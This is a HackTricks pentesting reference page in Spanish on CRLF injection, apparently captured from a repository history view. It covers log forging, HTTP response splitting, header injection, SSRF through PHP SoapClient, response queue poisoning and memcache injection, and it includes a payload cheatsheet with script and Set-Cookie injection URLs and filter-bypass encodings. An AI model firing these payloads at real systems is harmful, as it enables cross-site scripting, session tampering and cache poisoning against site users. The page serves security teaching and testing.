hacktricks/pentesting-web/crlf-0d-0a.md

237 lines
17 KiB
Markdown
Raw Normal View History

# CRLF (%0D%0A) Injection
2023-06-05 18:33:24 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
2023-06-05 18:33:24 +00:00
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}
2023-06-05 18:33:24 +00:00
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
**Bug bounty tip**: **regístrate** en **Intigriti**, una **plataforma de recompensas por errores premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
2023-06-05 18:33:24 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2023-06-05 18:33:24 +00:00
### CRLF
2023-06-05 18:33:24 +00:00
Carriage Return (CR) y Line Feed (LF), conocidos colectivamente como CRLF, son secuencias de caracteres especiales utilizadas en el protocolo HTTP para denotar el final de una línea o el inicio de una nueva. Los servidores web y los navegadores utilizan CRLF para distinguir entre los encabezados HTTP y el cuerpo de una respuesta. Estos caracteres se emplean universalmente en las comunicaciones HTTP/1.1 a través de varios tipos de servidores web, como Apache y Microsoft IIS.
2023-06-05 18:33:24 +00:00
### Vulnerabilidad de Inyección CRLF
2023-06-05 18:33:24 +00:00
La inyección CRLF implica la inserción de caracteres CR y LF en la entrada proporcionada por el usuario. Esta acción engaña al servidor, la aplicación o el usuario para interpretar la secuencia inyectada como el final de una respuesta y el comienzo de otra. Aunque estos caracteres no son inherentemente dañinos, su uso indebido puede llevar a la división de respuestas HTTP y otras actividades maliciosas.
2023-06-05 18:33:24 +00:00
### Ejemplo: Inyección CRLF en un Archivo de Registro
2023-06-05 18:33:24 +00:00
[Ejemplo de aquí](https://www.invicti.com/blog/web-security/crlf-http-header/)
2023-06-05 18:33:24 +00:00
Considera un archivo de registro en un panel de administración que sigue el formato: `IP - Hora - Ruta Visitada`. Una entrada típica podría verse así:
2023-06-05 18:33:24 +00:00
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Un atacante puede explotar una inyección CRLF para manipular este registro. Al inyectar caracteres CRLF en la solicitud HTTP, el atacante puede alterar el flujo de salida y fabricar entradas de registro. Por ejemplo, una secuencia inyectada podría transformar la entrada del registro en:
2023-06-05 18:33:24 +00:00
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Aquí, `%0d` y `%0a` representan las formas codificadas en URL de CR y LF. Después del ataque, el registro mostraría de manera engañosa:
2023-06-05 18:33:24 +00:00
```
IP - Time - Visited Path
2023-06-05 18:33:24 +00:00
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
El atacante así oculta sus actividades maliciosas haciendo que parezca que el localhost (una entidad típicamente confiable dentro del entorno del servidor) realizó las acciones. El servidor interpreta la parte de la consulta que comienza con `%0d%0a` como un solo parámetro, mientras que el parámetro `restrictedaction` se analiza como otra entrada separada. La consulta manipulada imita efectivamente un comando administrativo legítimo: `/index.php?page=home&restrictedaction=edit`
2023-06-05 18:33:24 +00:00
### HTTP Response Splitting
2023-06-05 18:33:24 +00:00
#### Descripción
HTTP Response Splitting es una vulnerabilidad de seguridad que surge cuando un atacante explota la estructura de las respuestas HTTP. Esta estructura separa los encabezados del cuerpo utilizando una secuencia de caracteres específica, Carriage Return (CR) seguido de Line Feed (LF), denominados colectivamente como CRLF. Si un atacante logra insertar una secuencia CRLF en un encabezado de respuesta, puede manipular efectivamente el contenido de la respuesta subsiguiente. Este tipo de manipulación puede llevar a graves problemas de seguridad, notablemente Cross-site Scripting (XSS).
2023-06-05 18:33:24 +00:00
#### XSS a través de HTTP Response Splitting
2023-06-05 18:33:24 +00:00
1. La aplicación establece un encabezado personalizado como este: `X-Custom-Header: UserInput`
2. La aplicación obtiene el valor de `UserInput` de un parámetro de consulta, digamos "user\_input". En escenarios que carecen de una validación y codificación de entrada adecuadas, un atacante puede crear una carga útil que incluya la secuencia CRLF, seguida de contenido malicioso.
3. Un atacante crea una URL con un 'user\_input' especialmente diseñado: `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
* En esta URL, `%0d%0a%0d%0a` es la forma codificada en URL de CRLFCRLF. Engaña al servidor para que inserte una secuencia CRLF, haciendo que el servidor trate la parte subsiguiente como el cuerpo de la respuesta.
4. El servidor refleja la entrada del atacante en el encabezado de respuesta, lo que lleva a una estructura de respuesta no intencionada donde el script malicioso es interpretado por el navegador como parte del cuerpo de la respuesta.
2023-06-05 18:33:24 +00:00
#### Un ejemplo de HTTP Response Splitting que lleva a Redirección
2023-06-05 18:33:24 +00:00
De [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
2023-06-05 18:33:24 +00:00
Navegador a:
2023-06-05 18:33:24 +00:00
```
/%0d%0aLocation:%20http://myweb.com
```
Y el servidor responde con el encabezado:
2023-06-05 18:33:24 +00:00
```
Location: http://myweb.com
```
**Otro ejemplo: (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### En la ruta de URL
2023-06-05 18:33:24 +00:00
Puedes enviar la carga útil **dentro de la ruta de URL** para controlar la **respuesta** del servidor (ejemplo de [aquí](https://hackerone.com/reports/192667)):
2023-06-05 18:33:24 +00:00
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
Check more examples in:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
2023-06-05 18:33:24 +00:00
### Inyección de Encabezados HTTP
2023-06-05 18:33:24 +00:00
La inyección de encabezados HTTP, a menudo explotada a través de la inyección CRLF (Carriage Return and Line Feed), permite a los atacantes insertar encabezados HTTP. Esto puede socavar mecanismos de seguridad como los filtros XSS (Cross-Site Scripting) o la SOP (Same-Origin Policy), lo que podría llevar al acceso no autorizado a datos sensibles, como tokens CSRF, o a la manipulación de sesiones de usuario a través de la inserción de cookies.
2023-06-05 18:33:24 +00:00
#### Explotación de CORS a través de la Inyección de Encabezados HTTP
2023-06-05 18:33:24 +00:00
Un atacante puede inyectar encabezados HTTP para habilitar CORS (Cross-Origin Resource Sharing), eludiendo las restricciones impuestas por la SOP. Esta brecha permite que scripts de orígenes maliciosos interactúen con recursos de un origen diferente, accediendo potencialmente a datos protegidos.
2023-06-05 18:33:24 +00:00
#### SSRF e Inyección de Solicitudes HTTP a través de CRLF
2023-06-05 18:33:24 +00:00
La inyección CRLF puede ser utilizada para crear e inyectar una nueva solicitud HTTP completamente. Un ejemplo notable de esto es la vulnerabilidad en la clase `SoapClient` de PHP, específicamente dentro del parámetro `user_agent`. Al manipular este parámetro, un atacante puede insertar encabezados adicionales y contenido del cuerpo, o incluso inyectar una nueva solicitud HTTP por completo. A continuación se muestra un ejemplo en PHP que demuestra esta explotación:
2023-06-05 18:33:24 +00:00
```php
$target = 'http://127.0.0.1:9090/test';
2023-06-05 18:33:24 +00:00
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
2023-06-05 18:33:24 +00:00
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
2023-06-05 18:33:24 +00:00
);
# Put a netcat listener on port 9090
2023-06-05 18:33:24 +00:00
$client->__soapCall("test", []);
```
### Inyección de Encabezados para el Smuggling de Solicitudes
2023-06-05 18:33:24 +00:00
Para más información sobre esta técnica y problemas potenciales [**consulta la fuente original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
Puedes inyectar encabezados esenciales para asegurar que el **back-end mantenga la conexión abierta** después de responder a la solicitud inicial:
2023-06-05 18:33:24 +00:00
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Después, se puede especificar una segunda solicitud. Este escenario típicamente involucra [HTTP request smuggling](http-request-smuggling/), una técnica donde los encabezados adicionales o los elementos del cuerpo añadidos por el servidor después de la inyección pueden llevar a varios exploits de seguridad.
**Explotación:**
2023-06-05 18:33:24 +00:00
1. **Inyección de Prefijo Malicioso**: Este método implica envenenar la solicitud del siguiente usuario o una caché web especificando un prefijo malicioso. Un ejemplo de esto es:
2023-06-05 18:33:24 +00:00
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2023-06-05 18:33:24 +00:00
2. **Creación de un Prefijo para el Envenenamiento de la Cola de Respuestas**: Este enfoque implica crear un prefijo que, cuando se combina con basura al final, forma una segunda solicitud completa. Esto puede desencadenar el envenenamiento de la cola de respuestas. Un ejemplo es:
2023-06-05 18:33:24 +00:00
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
### Inyección de Memcache
2023-06-05 18:33:24 +00:00
Memcache es un **almacenamiento de clave-valor que utiliza un protocolo de texto claro**. Más información en:
2023-06-05 18:33:24 +00:00
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
**Para la información completa, lea el**[ **informe original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
Si una plataforma está tomando **datos de una solicitud HTTP y usándolos sin sanitizarlos** para realizar **solicitudes** a un servidor **memcache**, un atacante podría abusar de este comportamiento para **inyectar nuevos comandos de memcache**.
Por ejemplo, en la vulnerabilidad descubierta originalmente, se usaron claves de caché para devolver la IP y el puerto a los que un usuario debería conectarse, y los atacantes pudieron **inyectar comandos de memcache** que **envenenarían** la **caché para enviar los detalles de las víctimas** (nombres de usuario y contraseñas incluidos) a los servidores del atacante:
2023-06-05 18:33:24 +00:00
<figure><img src="../.gitbook/assets/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&#x26;h=178&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
Además, los investigadores también descubrieron que podían desincronizar las respuestas de memcache para enviar la IP y los puertos de los atacantes a usuarios cuyo correo electrónico el atacante no conocía:
2023-06-05 18:33:24 +00:00
<figure><img src="../.gitbook/assets/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&#x26;h=506&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
### Cómo Prevenir Inyecciones CRLF / HTTP Header en Aplicaciones Web
2023-06-05 18:33:24 +00:00
Para mitigar los riesgos de inyecciones CRLF (Carriage Return y Line Feed) o HTTP Header en aplicaciones web, se recomiendan las siguientes estrategias:
2023-06-05 18:33:24 +00:00
1. **Evitar la Entrada Directa del Usuario en los Encabezados de Respuesta:** El enfoque más seguro es abstenerse de incorporar la entrada proporcionada por el usuario directamente en los encabezados de respuesta.
2. **Codificar Caracteres Especiales:** Si evitar la entrada directa del usuario no es factible, asegúrese de emplear una función dedicada a codificar caracteres especiales como CR (Carriage Return) y LF (Line Feed). Esta práctica previene la posibilidad de inyección CRLF.
3. **Actualizar el Lenguaje de Programación:** Actualice regularmente el lenguaje de programación utilizado en sus aplicaciones web a la última versión. Opte por una versión que inherentemente no permita la inyección de caracteres CR y LF dentro de las funciones encargadas de establecer encabezados HTTP.
2023-06-05 18:33:24 +00:00
### CHEATSHEET
2023-06-05 18:33:24 +00:00
[Cheatsheet desde aquí](https://twitter.com/NinadMishra5/status/1650080604174667777)
2023-06-05 18:33:24 +00:00
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
2023-06-05 18:33:24 +00:00
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## Herramientas Automáticas
2023-06-05 18:33:24 +00:00
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
2023-06-05 18:33:24 +00:00
## Lista de Detección de Fuerza Bruta
2023-06-05 18:33:24 +00:00
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
2023-06-05 18:33:24 +00:00
## Referencias
* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
2023-06-05 18:33:24 +00:00
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
2023-06-05 18:33:24 +00:00
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
**Consejo de recompensas por errores**: **regístrate** en **Intigriti**, una **plataforma de recompensas por errores premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
2023-06-05 18:33:24 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2023-06-05 18:33:24 +00:00
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
2023-06-05 18:33:24 +00:00
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}